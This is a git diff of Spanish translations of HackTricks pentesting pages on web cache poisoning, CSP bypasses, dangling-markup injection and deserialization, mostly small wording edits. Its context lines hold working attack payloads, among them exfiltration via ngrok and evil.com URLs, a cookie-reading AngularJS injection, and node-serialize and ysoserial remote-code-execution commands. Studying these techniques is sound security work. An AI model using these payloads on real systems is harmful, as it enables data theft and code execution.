 1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
 2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
-3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
+3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
 
 ### Descubrimiento: Verificar encabezados HTTP
 
@@ -125,7 +125,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
+Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -192,9 +192,9 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
 
 ## Decepción de Caché
 
-El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
+El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
 
-Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
+Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
 
 Otras cosas para probar:
 
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 638ddae86..fcc7b7c61 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -20,7 +20,7 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
 
 - **Paso 1**: Identificar solicitudes no cacheables y usarlas para monitorear cómo se manejan las URLs con posibles delimitadores.
 - **Paso 2**: Agregar sufijos aleatorios a las rutas y comparar la respuesta del servidor para determinar si un carácter funciona como delimitador.
-- **Paso 3**: Introducir posibles delimitadores antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
+- **Paso 3**: Introducir delimitadores potenciales antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
 
 ## Normalización y codificaciones
 
@@ -31,22 +31,22 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
 
 Diferentes servidores HTTP y proxies como Nginx, Node y CloudFront decodifican los delimitadores de manera diferente, lo que lleva a inconsistencias entre CDNs y servidores de origen que podrían ser explotadas. Por ejemplo, si el servidor web realiza esta transformación `/myAccount%3Fparam` → `/myAccount?param` pero el servidor de caché mantiene como clave la ruta `/myAccount%3Fparam`, hay una inconsistencia.&#x20;
 
-Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y comprobar si la respuesta de la ruta codificada provino de la respuesta en caché.
+Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y verificar si la respuesta de la ruta codificada provino de la respuesta en caché.
 
 ### Segmento de punto
 
-La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como clave de caché.\
+La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como la clave de caché.\
 Al igual que antes, enviar este tipo de solicitudes y verificar si la respuesta se obtuvo de la caché ayuda a identificar si la respuesta a `/home/index` es la respuesta enviada cuando se solicitan esas rutas.
 
 ## Recursos estáticos
 
-Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto podría ser porque:
+Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto puede ser porque:
 
 - **La extensión**: Cloudflare siempre almacenará en caché archivos con las siguientes extensiones: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
 - Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador y una extensión estática, como una solicitud a `/home$image.png` que almacenará en caché `/home$image.png` y el servidor de origen responderá con `/home`
 - **Directorios estáticos bien conocidos**: Los siguientes directorios contienen archivos estáticos y, por lo tanto, su respuesta debería ser almacenada en caché: /static, /assets, /wp-content, /media, /templates, /public, /shared
 - Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador, un directorio estático y puntos como: `/home/..%2fstatic/something` almacenará en caché `/static/something` y la respuesta será `/home`
 - **Directorios estáticos + puntos**: Una solicitud a `/static/..%2Fhome` o a `/static/..%5Chome` podría ser almacenada en caché tal cual, pero la respuesta podría ser `/home`
-- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché, como `/robots.txt`, `/favicon.ico` y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
+- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché como `/robots.txt`, `/favicon.ico`, y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 1125f86ab..9ccf375c8 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## ¿Qué es CSP?
+## What is CSP
 
-Content Security Policy (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
+Content Security Policy (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
 
 La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
 
@@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
 
 - `Content-Security-Policy`: Hace cumplir el CSP; el navegador bloquea cualquier violación.
-- `Content-Security-Policy-Report-Only`: Utilizado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
+- `Content-Security-Policy-Report-Only`: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
 
 ### Defining Resources
 
@@ -92,7 +92,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
 - `'host'`: Especifica un host específico, como `example.com`.
 - `https:`: Restringe las URL a aquellas que utilizan HTTPS.
-- `blob:`: Permite que los recursos se carguen desde URL de Blob (por ejemplo, URL de Blob creadas a través de JavaScript).
+- `blob:`: Permite que los recursos se carguen desde Blob URLs (por ejemplo, Blob URLs creados a través de JavaScript).
 - `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
 - `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
 - `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).
@@ -161,7 +161,7 @@ Carga útil funcional:
 ```
 Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
 
-Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
+Además, incluso si pudieras subir un **código JS dentro** de un archivo usando una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
 
 A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
 
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
-> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
+> La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.**
 
 La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
 
@@ -295,7 +295,7 @@ Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-co
 | Entidad            | Dominio Permitido                           | Capacidades |
 | ------------------ | ------------------------------------------- | ------------ |
 | Facebook           | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar             | \*.hotjar.com, ask.hotjar.io                | Exfil        |
+| Hotjar             | \*.hotjar.com, ask.hotjar.io               | Exfil        |
 | Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
 | Amazon CloudFront  | \*.cloudfront.net                           | Exfil, Exec  |
 | Amazon AWS         | \*.amazonaws.com                            | Exfil, Exec  |
@@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
+En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
@@ -341,7 +341,7 @@ Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se pue
 ```
 El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
 
-Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, que es compatible con CSP.
+Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, lo cual es compatible con CSP.
 
 ∑, lo decodificarán, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
 
@@ -361,7 +361,7 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
 
 Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
 
-Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
+Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
 Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
 ```html
 <base href="https://www.attacker.com/" />
@@ -370,7 +370,7 @@ Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la bas
 
 Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
 
-Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación ilustra este proceso:
+Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@@ -546,7 +546,7 @@ Este ataque implicaría algo de ingeniería social donde el atacante **convince
 
 Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### Eludir CSP restringiendo CSP
+### Bypass de CSP restringiendo CSP
 
 En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
 
@@ -603,7 +603,7 @@ Según la [**última técnica comentada en este video**](https://www.youtube.com
 
 ### Sobrecarga del búfer de respuesta de PHP
 
-Se sabe que PHP **almacena en búfer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **encabezado CSP**, causando que el encabezado sea ignorado.\
+Se sabe que PHP **almacena en búfer la respuesta a 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **encabezado CSP**, causando que el encabezado sea ignorado.\
 Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el encabezado CSP no sea enviado.
 
 Idea de [**este informe**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@@ -627,14 +627,14 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endp
 
 Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
 
-Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
+Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
 Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## CSP Exfiltration Bypasses
+## Bypasses de Exfiltración CSP
 
 Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
 
-### Location
+### Ubicación
 
 Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
 ```javascript
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
 
 En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP.
 
-En realidad, puedes _leak_ información usando una _solicitud DNS_. Revisa este código:
+En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
index 7ff393785..722f5df32 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
@@ -1,6 +1,4 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-Una configuración como:
+A configuration such as:
 ```
 Content-Security-Policy: default-src 'self' 'unsafe-inline';
 ```
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index 046c3ce5f..e6a1bebaf 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -4,8 +4,8 @@
 
 ## Resumen
 
-Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
-También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
+Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
+También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
 
 Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
 
@@ -13,7 +13,7 @@ Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política
 
 ### Robando secretos en texto claro
 
-Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
+Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, echa un vistazo a cuál podría ser más interesante usar).
 
 Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 ```html
@@ -109,9 +109,9 @@ if(window.name) {
 new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
 </script>
 ```
-### Flujo de script engañoso 1 - Ataque de espacio de nombres HTML
+### Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML
 
-Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se va a compartir una información:
+Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se compartirá una información:
 ```html
 <input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
 Share this status update with: ← Legitimate optional element of a dialog
@@ -150,7 +150,7 @@ O también puedes intentar ejecutar algún javascript:
 ```
 ### Abuso de Iframe
 
-Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la incrustación de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
+Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la inserción de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
 ```html
 <html>
 <head></head>
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index 6722df6c5..6ba5704e4 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -8,7 +8,7 @@
 
 **Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
 
-La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
+La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
 
 ## PHP
 
@@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
 }
 serialize.unserialize(test)
 ```
-Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS oneliner** como en el siguiente ejemplo:
+Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un oneliner de JS** como en el siguiente ejemplo:
 ```javascript
 var serialize = require("node-serialize")
 var test =
@@ -254,7 +254,7 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
 
 ### [funcster](https://www.npmjs.com/package/funcster)
 
-Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
+Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; caen fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
 
 A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento:
 ```javascript
@@ -302,7 +302,7 @@ var test =
 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
-**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 
 ### Biblioteca Cryo
 
@@ -315,7 +315,7 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
 
 En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas.
 
-### Huellas dactilares
+### Huellas digitales
 
 #### Caja blanca
 
@@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 ```
 ### Verificar si es vulnerable
 
-Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
 
 #### Prueba de Caja Blanca
 
@@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
